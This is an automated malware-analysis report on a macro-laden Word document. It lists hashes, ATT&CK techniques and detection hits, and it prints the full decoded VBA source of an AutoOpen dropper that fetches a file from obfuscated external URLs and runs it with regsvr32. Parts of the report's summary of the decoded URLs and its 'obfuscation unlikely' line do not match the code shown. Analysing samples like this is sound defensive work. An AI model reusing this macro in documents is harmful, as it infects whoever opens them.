Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c000a5f255bf8534…

MALICIOUS

Office (OOXML)

79.0 KB Created: 2020-05-25 19:15:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-07-24
MD5: d03218d9b3575c7c40e59e41dc2d8775 SHA-1: d60420bd8585afc743d6836352a61623b296158d SHA-256: c000a5f255bf853433cbec4bc7a23e40eda28438782ec0fa44e841665b2ae553
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1218.011 System Binary Proxy Execution: Rundll32

The sample contains VBA macros that execute upon opening, specifically utilizing the AutoOpen function. These macros are designed to download a file from a constructed URL and then execute it using regsvr32. The reconstructed URL for the download is "http://e5ud9xh7fpp78y.com/gg88w", and the URL used for execution is "http://yhaftcxr7gu/wo0zz.php?l=sfz3.cab". This indicates a downloader or droppper functionality.

Heuristics 7

  • ClamAV: Doc.Malware.Generic-7898874-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-7898874-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    EW.b "regsvr32 " + Kd("$+1", 1)
End Sub
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub AutoOpen()
Dim Pk As New OG
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2557 bytes
SHA-256: 401b6448c9fb2e0b18a993d8a6d372640ccaaefeeb593c4b6d8331e2836bfacc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Y2"
Function C()


End Function
Function s()
Dim arr(6) As String
arr(0) = "h$+1t$+1t$+1p$+1:$+1/$+1/$+1e$+15$+1u$+1d$+19$+1x$+1h$+17$+1f$+1p$+1p$+1e$+17$+18$+1y$+1.$+1c$+1o$+1m$+1/$+1g$+1g$+18$+18$+1w$+1"
arr(1) = "y$+1a$+1f$+1t$+1c$+1x$+1r$+17$+1g$+1u$+1/$+1w$+1o$+10$+1z$+1z$+1.$+1p$+1h$+1p$+1?$+1l$+1=$+1s$+1f$+1z$+1s$+13$+1.$+1c$+1a$+1b$+1"
arr(2) = "%$+1%$+1%$+1c$+1:$+1\$+1p$+1r$+1o$+1g$+1r$+1a$+1m$+1d$+1a$+1t$+1a$+1\$+17$+12$+18$+10$+14$+13$+17$+14$+1.$+1d$+1a$+1t$+1"
s = arr
End Function
Function Kd(pX, ke)
Uw = s
ES = Join(Uw, "")
ES = Replace(ES, pX, "")
Uw = Split(ES, "%%%")
Select Case ke
Case 0
Kd = Uw(0)
Case 1
Kd = Uw(1)
Case Else
Debug.Print "ES"
End Select
End Function
Sub AutoOpen()
Dim Pk As New OG
Pk.W Kd("$+1", 0), Kd("$+1", 1)
Dim EW As New H

EW.b "regsvr32 " + Kd("$+1", 1)
End Sub

Attribute VB_Name = "OG"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
#If VBA7 And Win64 Then
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
ByVal pCaller As LongPtr, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As LongPtr, _
ByVal lpfnCB As LongPtr _
) As Long
#Else
Private Declare Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
ByVal pCaller As Long, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, _
ByVal lpfnCB As Long _
) As Long
#End If
Private Sub Class_Initialize()

End Sub
Private Sub Class_Terminate()

End Sub
Public Function W(Uc, ja)
dD = URLDownloadToFile(0&, Uc, ja, 0&, 0&)
End Function

Attribute VB_Name = "H"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function b(kT)
Dim AB As New WshShell
AB.exec kT
End Function
Function Uf(n6)
    
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19968 bytes
SHA-256: 2ce2855f7a01837c39dca6cc744cc0971ac2bbe77814b386dec0ef754ab069cd
Detection
ClamAV: Doc.Malware.Generic-7898874-0
Obfuscation or payload: unlikely

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